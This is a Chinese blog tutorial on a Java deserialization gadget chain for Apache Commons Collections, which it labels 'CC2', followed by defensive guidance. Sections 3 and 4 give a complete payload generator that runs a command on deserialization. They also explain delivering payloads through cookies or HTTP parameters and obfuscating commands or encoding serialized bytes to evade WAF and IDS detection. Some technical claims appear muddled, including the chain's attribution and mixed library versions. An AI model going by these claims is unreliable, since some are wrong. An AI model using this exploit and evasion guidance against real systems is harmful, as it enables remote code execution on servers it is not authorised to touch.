Java反序列化漏洞深度解析:CC2链原理、构造与防御实战
1. 项目概述:从一次“意外”的RCE说起
几年前,我在做一次内部红蓝对抗演练,目标是某个用Java写的、看起来平平无奇的后台管理系统。常规的SQL注入、XSS都试了一圈,收效甚微。就在准备收工时,我随手抓了一个经过Base64编码的、名为 userInfo 的Cookie,丢进Burp的Decoder里看了一眼,开头是 rO0 。这个十六进制序列 AC ED 00 05 的开头,对Java安全有点经验的朋友都知道,这是Java序列化数据的“魔术头”。我心里咯噔一下,感觉有戏。经过一番构造和测试,最终通过这个入口,成功在目标服务器上执行了系统命令,拿到了Shell。事后分析漏洞链,发现它利用的正是Commons Collections库,更具体地说,是其中一条被称为CC2的利用链。这次经历让我深刻体会到,Java反序列化漏洞就像一颗深埋的“地雷”,而CC链则是引爆这颗地雷最经典、也最值得研究的“引信”之一。
CC2链,特指利用Apache Commons Collections 3.1、3.2.1及4.0版本(注意,4.0版本类名有变化)中相关类构造的、不依赖 TransformedMap 或 LazyMap 的另一种反序列化利用链。它与更为人熟知的CC1、CC6链在构造思路上有显著不同,核心在于利用了 javax.management.BadAttributeValueExpException 类的 readObject 方法作为反序列化的入口点(Gadget),并结合 TemplatesImpl 类来最终实现代码执行。理解CC2链,不仅能帮助我们应对更广泛的真实环境(因为某些版本的CC库或代码写法可能限制了CC1/CC6的利用),更是深入理解Java反序列化“武器化”思路的绝佳样本。它涉及了从异常类触发、到动态类加载、再到字节码执行的完整链条,非常适合有一定Java基础、想深入安全领域的朋友研究。
2. 核心原理与链式调用拆解
要理解CC2,我们不能只停留在“怎么用”的层面,必须搞清楚它“为什么能行”。这条链的巧妙之处在于它串联了JDK自身的类和第三方库的类,在反序列化这个“重建对象”的过程中,触发了一系列非预期的敏感操作。
2.1 起点:BadAttributeValueExpException的readObject
整个链条的入口点是一个JDK自带的异常类: javax.management.BadAttributeValueExpException 。我们来看一下它的 readObject 方法(简化后的关键逻辑):
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val = valObj;
} else if (System.getSecurityManager() == null // 关键条件:安全管理器为空
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString(); // 触发toString()方法!
} else {
val = (String) AccessController.doPrivileged(...);
}
}
这里的 val 是类的一个私有成员变量。在反序列化时,如果 val 字段存储的不是基本类型或其包装类、也不是String,并且系统没有启用安全管理器(这在绝大多数Web应用中是默认情况),那么程序就会调用这个对象的 toString() 方法。 这就为我们提供了一个稳定的、广泛存在的反序列化触发点:控制 val 字段为一个精心构造的对象,使其 toString() 方法被调用时,能触发后续的危险操作。
注意 :很多文章会提到
TiedMapEntry的toString或hashCode作为入口,这在CC6链中很常见。但CC2链在Commons Collections 4.0版本中,更经典和通用的入口是BadAttributeValueExpException,因为它不依赖于LazyMap的get方法,适用性更广。
2.2 跳板:TiedMapEntry的toString与getValue
我们的目标是让 val 指向一个 TiedMapEntry 对象。这个类在 org.apache.commons.collections4.keyvalue 包中。看看它的 toString() 方法:
public String toString() {
return getKey() + "=" + getValue();
}
toString() 调用了 getValue() 方法:
public V getValue() {
return map.get(key);
}
这里就很清晰了: TiedMapEntry 内部维护了一个 map 对象和一个 key 。当调用 getValue() 时,它会去调用内部 map 的 get(key) 方法。如果我们能让这个 map 是一个特殊的、在 get 方法被调用时会执行某些操作的Map,链条就得以传递。
2.3 桥梁:LazyMap的装饰与触发
在Commons Collections中, LazyMap 就是这样一个特殊的Map。它继承自 AbstractMapDecorator ,核心功能是“懒加载”:当你通过 get(key) 方法获取一个不存在的键值时,它会通过一个预设的 Transformer (转换器)来生成这个值并放入Map。
CC2链在这里的用法很巧妙。我们并不直接让 TiedMapEntry.map 指向一个 LazyMap ,而是指向一个 LazyMap.decorate() 方法装饰过的Map。但关键在于,为了在反序列化时自动触发 get ,我们需要确保 TiedMapEntry 的 key 在 map 中 不存在 。这样, toString()->getValue()->map.get(key) 就会触发 LazyMap 的懒加载逻辑,调用其内部的 Transformer 。
2.4 核心:ChainedTransformer与最终执行
Transformer 是Commons Collections中的一个接口,用于将一个对象转换成另一个对象。 ChainedTransformer 是其中一个实现,它像一条链条,可以按顺序执行多个 Transformer 。
CC2链的最终目标,是让这个 Transformer 链条能够执行任意Java代码。这里就需要引入另一个关键的JDK类: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 。这个类原本用于处理XSLT转换,但它有一个危险的特性:它可以通过 getOutputProperties() 或 newTransformer() 方法,触发其内部存储的字节码( _bytecodes 字段)的加载和初始化,从而执行静态代码块中的代码。
因此,我们的 Transformer 链条的最后一步,就是一个 InvokerTransformer ,它利用反射调用 TemplatesImpl 的 newTransformer() 方法。整个 ChainedTransformer 的执行流程可以构想为:
- 某个无关的转换(甚至可以是
ConstantTransformer返回一个固定对象)。 - 一个
InvokerTransformer反射调用TemplatesImpl.newTransformer()。 newTransformer()方法内部会加载_bytecodes中的类,实例化并初始化,导致静态代码块执行。
那么,如何将 TemplatesImpl 实例传递给这个链条呢? 这里用到了另一个 Transformer : ConstantTransformer 。它的作用就是无论输入什么,都返回一个构造时传入的固定对象。我们可以创建一个 ConstantTransformer ,其固定对象就是我们精心构造的、包含恶意字节码的 TemplatesImpl 实例。然后将其作为 ChainedTransformer 的第一个环节。这样,当链条执行时,第一个 ConstantTransformer 直接返回 TemplatesImpl 对象,传递给下一个 InvokerTransformer 去反射调用其方法。
2.5 完整链条串联
现在,我们把整个链条倒着串联起来,理解反序列化时的执行顺序:
- 反序列化开始 :
ObjectInputStream读取BadAttributeValueExpException对象。 - 触发toString :在
readObject中,满足条件后对val字段(即TiedMapEntry对象)调用toString()。 - 调用getValue :
TiedMapEntry.toString()调用getValue()。 - 触发Map.get :
TiedMapEntry.getValue()调用其内部map(即LazyMap)的get(key)方法,且key不存在于Map中。 - 触发Transformer :
LazyMap.get()触发懒加载逻辑,调用其内部factory(即ChainedTransformer)的transform方法。 - 执行转换链 :
ChainedTransformer开始执行。- 第一个
ConstantTransformer.transform()返回恶意TemplatesImpl对象。 - 第二个
InvokerTransformer.transform(TemplatesImpl)通过反射调用TemplatesImpl.newTransformer()。
- 加载恶意类 :
TemplatesImpl.newTransformer()方法内部加载_bytecodes字段中的字节码,并初始化类。 - 代码执行 :恶意类的静态代码块(或构造函数)中的代码(如
Runtime.getRuntime().exec(“calc”))被执行,完成攻击。
这条链的逻辑非常精妙,它利用了反序列化过程中的多个“约定俗成”的方法调用( readObject , toString , get ),将控制流一步步导向最终的危险操作。理解这个流程,是后续构造Payload和应对防御措施的基础。
3. 环境准备与Payload构造实战
理论分析之后,我们动手构造一个完整的CC2利用链Payload。这里我以Commons Collections 4.0版本为例,因为它更常见,且与3.x版本在包名和类名上有所不同( org.apache.commons.collections4 )。请确保你在一个隔离的测试环境(如虚拟机、Docker容器)中进行操作。
3.1 依赖与环境搭建
首先,创建一个Maven项目,引入必要的依赖。除了Commons Collections,我们还需要能够操作Java字节码的工具,这里使用 javassist 来方便地生成恶意类。
<dependencies>
<!-- Commons Collections 4.0 -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<!-- 用于生成字节码 -->
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.28.0-GA</version>
</dependency>
</dependencies>
编写一个测试类,我们先准备好恶意字节码。我们的目标是生成一个类,其静态代码块中包含执行系统命令的代码。
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC2PayloadGenerator {
// 生成恶意字节码的方法
public static byte[] generateEvilBytecode() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Evil");
// 设置父类为AbstractTranslet,这是TemplatesImpl加载字节码的要求
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
// 在静态代码块中插入恶意代码,例如打开计算器(Windows)
String cmd = "Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
byte[] byteCode = cc.toBytecode();
cc.detach(); // 释放资源
return byteCode;
}
}
3.2 构造TemplatesImpl对象
TemplatesImpl 对象是承载恶意字节码的容器。我们需要通过反射来设置其内部字段,因为很多关键字段是 private 的。
public static TemplatesImpl createTemplatesImpl(byte[] bytecode) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
// 通过反射设置私有字段
setFieldValue(templates, “_bytecodes”, new byte[][]{bytecode});
setFieldValue(templates, “_name”, “Pwn”); // 名字随意,非空即可
setFieldValue(templates, “_tfactory”, new TransformerFactoryImpl());
// _class 字段会在加载字节码后自动生成,这里不需要设置
return templates;
}
// 通用的反射设置字段工具方法
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
实操心得 :
_bytecodes字段需要的是一个二维字节数组byte[][],因为一个TemplatesImpl可以包含多个类。_name字段不能为null,否则在后续加载时会出问题。_tfactory必须设置一个有效的TransformerFactoryImpl实例。
3.3 构建Transformer执行链
现在构造核心的 ChainedTransformer 。我们的链条设计是:先返回 TemplatesImpl 对象,再反射调用其 newTransformer 方法。
public static ChainedTransformer createTransformerChain(TemplatesImpl templates) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates), // 直接返回恶意TemplatesImpl对象
new InvokerTransformer(“newTransformer”, null, null) // 反射调用newTransformer()
};
return new ChainedTransformer(transformers);
}
InvokerTransformer 的三个参数分别是:方法名、参数类型数组、参数数组。这里调用无参的 newTransformer() ,所以后两个参数都是 null 。
3.4 组装LazyMap与TiedMapEntry
接下来,用上面构造的 ChainedTransformer 来装饰一个 LazyMap ,并将其包裹进 TiedMapEntry 。
public static TiedMapEntry createTiedMapEntry(ChainedTransformer chain) throws Exception {
// 创建一个空的HashMap,并用LazyMap装饰它,工厂设置为我们的Transformer链
Map innerMap = new HashMap();
Map lazyMap = LazyMap.lazyMap(innerMap, chain);
// 创建一个TiedMapEntry,其key在Map中不存在,以确保触发get
String evilKey = “pwn”;
TiedMapEntry entry = new TiedMapEntry(lazyMap, evilKey);
return entry;
}
这里的关键是 evilKey (例如 ”pwn” )在 innerMap (即 lazyMap 底层)中是不存在的。这样,当 TiedMapEntry.getValue() 调用 map.get(“pwn”) 时,就会触发 LazyMap 的懒加载逻辑。
3.5 设置BadAttributeValueExpException入口点
最后,创建入口点对象,并通过反射设置其 val 字段为我们构造的 TiedMapEntry 。
public static BadAttributeValueExpException createBadAttributeEntry(TiedMapEntry entry) throws Exception {
BadAttributeValueExpException badAttribute = new BadAttributeValueExpException(null);
setFieldValue(badAttribute, “val”, entry);
return badAttribute;
}
注意, BadAttributeValueExpException 的构造函数需要一个 String 参数,我们传 null 即可,因为后续会通过反射覆盖 val 字段。
3.6 序列化与触发测试
将上述步骤串联起来,生成Payload并序列化到文件,然后模拟反序列化触发。
public static void main(String[] args) throws Exception {
// 1. 生成恶意字节码
byte[] evilCode = generateEvilBytecode();
// 2. 创建TemplatesImpl对象承载字节码
TemplatesImpl templates = createTemplatesImpl(evilCode);
// 3. 构造Transformer链
ChainedTransformer chain = createTransformerChain(templates);
// 4. 构造TiedMapEntry和LazyMap
TiedMapEntry entry = createTiedMapEntry(chain);
// 5. 构造最终入口点
BadAttributeValueExpException payloadObj = createBadAttributeEntry(entry);
// 6. 序列化到文件
String filePath = “cc2_payload.ser”;
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(filePath))) {
oos.writeObject(payloadObj);
}
System.out.println(“Payload 已生成至:” + filePath);
// 7. 模拟反序列化触发(在另一个进程或稍后执行)
System.out.println(“n模拟反序列化触发...”);
try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filePath))) {
ois.readObject(); // 这里会触发命令执行
} catch (Exception e) {
e.printStackTrace();
}
}
运行这个 main 方法,如果环境配置正确,你应该会看到计算器程序被弹出。这证明了整个CC2利用链从构造到触发是成功的。
重要注意事项 :在实际攻击中,你通常无法直接向目标服务器写入文件。你需要将序列化后的字节数组进行Base64编码,然后通过HTTP请求参数、Cookie、RMI协议等方式发送给存在漏洞的端点。接收端在反序列化这个数据时就会触发漏洞。
4. 链式构造的难点与变通技巧
在实际构造CC2链时,你可能会遇到一些预料之外的问题。这里我分享几个常见的难点和对应的解决技巧,这些是你在很多标准教程里看不到的“坑”。
4.1 版本兼容性问题
问题 :Commons Collections 3.x 和 4.x 的类名和包名不同。例如, TiedMapEntry 在3.x中是 org.apache.commons.collections.keyvalue.TiedMapEntry ,而在4.x中是 org.apache.commons.collections4.keyvalue.TiedMapEntry 。如果你的目标环境使用的是3.x版本,直接使用4.x的Payload会因 ClassNotFoundException 而失败。
解决技巧 :
- 信息收集 :尽可能通过报错信息、依赖分析工具或已知信息判断目标使用的CC版本。
- 双链准备 :准备针对CC 3.2.1和CC 4.0的两个版本的Payload。CC 3.2.1的CC2链可能需要依赖
AnnotationInvocationHandler作为入口,构造更为复杂。 - 通用化尝试 :有时,即使包名不同,但类结构相似。可以尝试使用Java反射来动态加载类,但这在序列化Payload中很难实现。更实际的做法是针对不同版本生成不同的Payload文件。
4.2 TemplatesImpl的JDK限制
问题 : TemplatesImpl 类位于 com.sun.org.apache.xalan.internal.xsltc.trax 包中,属于JDK的内部API( sun.* , com.sun.* )。在某些严格的运行环境或高版本JDK中,可能会因为模块化(Module System)导致访问限制,抛出 IllegalAccessError 。
解决技巧 :
- 寻找替代Gadget :如果
TemplatesImpl不可用,需要寻找其他能够从字节码加载并执行代码的类。例如,在某些环境中,可以利用BeanFactory相关类、Groovy的ClassLoader或Spring的PropertyPathFactoryBean等。这需要根据目标应用的依赖库来定制,难度较大。 - JVM参数绕过 :在测试或某些可控环境,可以通过添加JVM启动参数
--add-opens java.base/java.lang=ALL-UNNAMED等来开放内部API的访问权限,但这在真实攻击中几乎不可能。 - 关注CC链的其他变种 :CC1、CC6链最终执行命令通常使用
InvokerTransformer反射调用Runtime.exec(),这不依赖TemplatesImpl。但CC2链的设计初衷之一就是为了绕过某些对InvokerTransformer直接执行命令的防御(如Security Manager),所以需要权衡。
4.3 反序列化过程中的“副作用”干扰
问题 :在构造 LazyMap 时,我们手动调用 map.get(key) 可能会触发Transformer链的执行,导致在生成Payload的本地机器上就执行了恶意命令,这是非常危险的。
解决技巧 :
- 使用惰性链 :在构造
ChainedTransformer时,先传入一个无害的Transformer数组(例如new Transformer[]{new ConstantTransformer(1)})。在将所有对象组装完毕、并设置好BadAttributeValueExpException.val之后,再通过反射将ChainedTransformer内部的iTransformers字段替换为真正的恶意Transformer数组。// 先构造无害链 Transformer[] fakeChain = new Transformer[]{new ConstantTransformer(1)}; ChainedTransformer chain = new ChainedTransformer(fakeChain); // ... 组装LazyMap, TiedMapEntry, BadAttributeValueExpException ... // 最后,通过反射替换为恶意链 Transformer[] realChain = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer(“newTransformer”, null, null) }; setFieldValue(chain, “iTransformers”, realChain); - 避免触发 :在组装
TiedMapEntry和LazyMap时,确保你的测试代码不会无意中调用toString()、hashCode()或getValue()等方法。使用反射直接设置字段是最安全的方式。
4.4 Payload的稳定与隐蔽性
问题 :直接执行 Runtime.getRuntime().exec(“calc”) 的Payload过于明显,且可能因环境路径问题失败。同时,序列化后的数据特征(如类名)容易被WAF或IDS检测。
解决技巧 :
- 命令编码与混淆 :对要执行的命令进行Base64编码,然后在恶意类的静态块中解码执行。或者使用混淆工具对生成的恶意类字节码进行混淆。
// 示例:执行Base64编码的命令 String cmd = “Y2FsYy5leGU=”; // “calc.exe”的Base64 String code = “try { Runtime.getRuntime().exec(new String(java.util.Base64.getDecoder().decode(”” + cmd + “”))); } catch (Exception e) {}”; cc.makeClassInitializer().insertBefore(code); - 使用BCEL ClassLoader等替代 :在某些老版本JDK中,可以利用
com.sun.org.apache.bcel.internal.util.ClassLoader来加载字节码,这提供了另一种不依赖TemplatesImpl的途径,但同样受限于内部API。 - 序列化数据包装 :将最终的Payload对象再包装一层到自定义的、看似无害的类中(如果目标应用存在这样的类)。或者对序列化后的字节进行异或、压缩等简单变换,在发送前再还原,以绕过简单的特征匹配。
5. 防御视角与漏洞排查指南
作为一名开发者或安全工程师,理解攻击是为了更好的防御。面对CC2这类反序列化漏洞,我们可以从多个层面进行防护。
5.1 安全开发实践
-
输入源控制 :
- 白名单校验 :对任何接受序列化数据的入口(如RMI端口、HTTP请求中的参数、消息队列数据)进行严格校验,确保其来源可信。
- 避免反序列化不可信数据 :这是最根本的原则。如果业务上必须传输对象,考虑使用JSON、XML、Protobuf等更安全的序列化格式。
-
使用安全的反序列化库 :
- 考虑使用更安全的替代方案,如
Jackson(配置polymorphicTypeValidation)、Kryo(配置setRegistrationRequired(true))等,并严格限制可反序列化的类。 - 对于Java原生反序列化,可以使用
ObjectInputFilter(JDK 9+)来定义反序列化过滤器,设置一个严格的类白名单。// 示例:使用ObjectInputFilter ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(“maxdepth=10;!org.apache.commons.collections4.*;!javax.management.BadAttributeValueExpException”); ObjectInputStream ois = new ObjectInputStream(inputStream); ois.setObjectInputFilter(filter); Object obj = ois.readObject();
- 考虑使用更安全的替代方案,如
-
依赖库管理 :
- 升级与替换 :将Apache Commons Collections升级到安全的版本(如4.4及以上,这些版本在反序列化方面做了安全加固)。但注意,升级可能引入兼容性问题。
- 重写/阉割 :如果无法升级,可以考虑重写关键的危险类(如
InvokerTransformer、ChainedTransformer),或者使用JVM的-Xbootclasspath/a参数替换掉JAR包中的类,移除其危险方法。
5.2 运行时检测与防护
-
Agent探针 :使用Java Agent技术,在类加载或方法执行层面进行监控。可以检测是否有来自
InvokerTransformer、TemplatesImpl等危险类的反射调用或类加载行为。开源项目如RASP(运行时应用自保护)就是基于此原理。 -
SecurityManager :启用并配置严格的Java安全管理器(
SecurityManager),可以限制Runtime.exec()、反射调用、定义类等敏感操作。但配置复杂,对应用性能有影响,且容易被绕过(如利用AccessController.doPrivileged)。 -
WAF/IDS规则 :在网络层或主机层部署防护设备,配置规则检测序列化数据的特征,如
AC ED 00 05魔术头、BadAttributeValueExpException、TiedMapEntry等类名的Base64编码形式。
5.3 漏洞排查与应急响应
如果怀疑系统存在反序列化漏洞,可以按以下步骤排查:
-
资产梳理 :识别所有可能接受外部输入并进行Java反序列化的端点,包括:
- 开放RMI服务的端口(默认1099)。
- HTTP接口中接收
application/x-java-serialized-object格式的端点。 - 消息队列(如JMS)的消费者。
- 任何使用了
ObjectInputStream且数据源来自外部的代码位置。
-
依赖检查 :使用
mvn dependency:tree或OWASP Dependency-Check等工具,检查项目中是否引入了存在已知漏洞的库版本,特别是Commons Collections 3.x, 4.0。 -
代码审计 :全局搜索以下关键词:
ObjectInputStreamreadObject()readUnshared()XMLDecoder(这也是一个常见的反序列化漏洞点)RMIServer、UnicastRemoteObject
-
漏洞验证 :在测试环境,尝试使用
ysoserial等工具生成CC2链的Payload,对可疑端点进行安全测试。 务必在授权和隔离环境进行! -
日志监控 :在应用日志中监控
ClassNotFoundException、InvalidClassException等反序列化相关异常,这些可能是攻击尝试的痕迹。同时监控系统是否有突然启动新进程的行为。
5.4 一个简单的检测脚本思路
你可以编写一个简单的Java Agent,在 ObjectInputStream.resolveClass 方法被调用时,打印出正在反序列化的类名,这对于监控和调试非常有帮助。
import java.lang.instrument.Instrumentation;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;
public class SerializationMonitorAgent {
public static void premain(String args, Instrumentation inst) {
inst.addTransformer(new ClassFileTransformer() {
@Override
public byte[] transform(ClassLoader loader, String className,
Class<?> classBeingRedefined,
ProtectionDomain protectionDomain,
byte[] classfileBuffer) {
if (“java/io/ObjectInputStream”.equals(className)) {
// 这里可以通过字节码增强技术,在resolveClass方法入口插入日志代码
// 打印出 resolved class name
}
return classfileBuffer; // 返回null或原字节码表示不修改
}
});
}
}
将这个Agent打包成JAR,并在应用启动时通过 -javaagent: 参数加载,就可以在不修改业务代码的情况下监控反序列化行为。
CC2链的分析和理解,是Java反序列化安全研究中的一个重要里程碑。它不仅仅是一个漏洞利用方式,更展示了在复杂的对象交互和反射机制下,如何将看似无害的功能串联成具有破坏力的攻击链。对于开发者,这提醒我们要时刻警惕外部数据的危险性;对于安全研究者,这提供了一个深入理解Java底层机制的绝佳案例。防御永远是一个动态的过程,在了解攻击手法的基础上,构建纵深防御体系,才能有效保障应用安全。
更多推荐
所有评论(0)